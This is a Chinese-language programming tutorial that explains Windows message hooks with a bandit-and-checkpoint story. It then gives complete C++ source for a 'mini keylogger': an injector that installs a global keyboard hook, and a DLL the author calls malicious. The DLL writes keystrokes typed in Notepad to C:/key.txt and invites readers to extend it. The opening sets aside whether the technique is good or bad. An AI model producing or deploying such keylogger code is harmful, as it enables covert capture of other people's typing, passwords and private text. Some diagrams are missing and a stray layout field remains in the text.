当前位置:C++技术网 > 资讯 > 一分钟讲透HOOK技术,三分钟打造键盘记录器

一分钟讲透HOOK技术,三分钟打造键盘记录器

更新时间:2015-07-27 17:21:59浏览次数:1+次

HOOK(钩子)技术到底好不好?读者心中自有评论,好与坏都不是我们讨论的对象,我们只管学会它就够了。

可能大家看一些教程的时候,信心满满的你却被那些大堆大堆专业术语拒之门外,今天你会很快乐的学会这门技术或者说是艺术,为什么会快乐的学会呢?因为我给你讲故事呀,故事大家都爱听,听完故事居然还能学会HOOK这么神奇的技术,你信吗?信与不信就在三五分钟的故事之间,来吧!

区域B即为应用程序消息队列

桥即为消息的分配(GetMessage()、PeekMessage()… )

告示即为钩链

土匪即为你编写的HOOK程序

再详细的讲讲,正常情况下,操作系统会把消息传递到相应的应用程序队列,然后应用程序通过相应的API去取消息并交由窗口过程进行相应的处理,记住:这只是太平天下的理想状态换句话说这只是乌托邦。但是,会有这样安稳的社会吗?没有,土匪什么时候都有。好了,现在问题来了,windows操作系统为了进行更多的拦截操作,设计了HOOK链即钩链,他的作用就是截获操作系统分发给应用程序的消息,对于感兴趣的消息进行处理,不感兴趣的消息正常放行,HOOK链是系统维护的,就相当于告示这张纸一样,土匪头子在告示上画下了所要抓的人的头像,当然你也要告诉系统你想拦截哪些消息。SetWindowsHookEx这个API就是向系统HOOK链添加截获的消息类型,以对这些消息进行拦截。

下面为大家总结一些HOOK编程的框架,就是这么牛逼,连框架都有,嘿嘿。

SHAPE \* MERGEFORMAT

打针程序主要是SetWindowsHOOKEX()的调用

自己编写的恶意HOOKProc.dll文件

运行打针程序(之所以称它为打针程序,是因为这个程序会让操作系统强制把HOOKProc.dll映射到目标进程的地址空间,那是高级话题了,在注入那边会有讲),则钩子程序就安装好了,其实质就是向钩链添加了一条记录而已,相关注入细节全部由操作系统代劳。

给大家举个例子吧,迷你键盘记录器,之所以称为迷你,是因为这个程序只实现的简单的ASCII记录。原理懂了,你还不会拓展吗?

 

源代码如下:

打针程序:

#include <windows.h>
#include <stdio.h>
_declspec(dllimport) LRESULT CALLBACK KeyProc(  int code,       // hook code
                                             WPARAM wParam,  // virtual-key code
                                             LPARAM lParam );
_declspec(dllimport) HMODULE g_hMdl;
_declspec(dllimport) HHOOK g_hHook;
FARPROC fnHookStart = NULL;
FARPROC fnHookStop = NULL;
typedef void (* HookStart)();
typedef void (* HookStop)();
 
int main()
{
       printf("开始钩取键盘输入:\n");
       g_hHook = SetWindowsHookEx(WH_KEYBOARD, KeyProc, g_hMdl, 0);
       printf("\n输入'q'停止钩取\n");
       while(getchar() != 'q');
    if(g_hMdl)
       {
              UnhookWindowsHook(WH_KEYBOARD, KeyProc);
        g_hMdl = NULL;
       }
       return 0;
}

                                                

HookProc.dll程序如下:

 

#include <windows.h>
#include <stdio.h>
_declspec(dllexport) HMODULE g_hMdl = NULL ;
_declspec(dllexport) HHOOK g_hHook = NULL;
FILE *fp = NULL;
BOOL WINAPI DllMain(  HINSTANCE hinstDLL,  // handle to the DLL module
                       DWORD fdwReason,     // reason for calling function
                       LPVOID lpvReserved)   // reserved
                                         
 {
      switch( fdwReason)
         {
         case DLL_PROCESS_ATTACH:
           g_hMdl = hinstDLL;
                 break ;
         case DLL_PROCESS_DETACH:
                break;
         }
         return 1;
 }
 
_declspec(dllexport) LRESULT CALLBACK KeyProc(  int code,       // hook code
                                             WPARAM wParam,  // virtual-key code
                                             LPARAM lParam )  // keystroke-message information
{
      
       char strBuf[MAX_PATH] = {0};
       char *p = NULL;
       if( code >= 0)
       {
              if(!(lParam & 0x80000000))
              {
                      GetModuleFileName(NULL, strBuf, sizeof(strBuf));
                      p = strrchr(strBuf , '\\');
                      if (!stricmp("notepad.exe", p+1))
                      {
                              fp = fopen("C:/key.txt","a+");
                              if(GetKeyState (VK_SHIFT) > 0) //shift键盘没按下
                              {
                                     if( wParam >= 'A' && wParam <= 'Z')
                                         wParam += 32;
                              }
                              fputc(wParam,fp);
                              fclose(fp);
                              return 1;
                      }
              }
       }
  
       return CallNextHookEx(g_hHook, code, wParam, lParam);
}

 

与动态链接库相关的知识我就不讲了,那个自己看看就会了,有任何问题的都可以问我。既可以在文章下面留言也可以加QQ969722243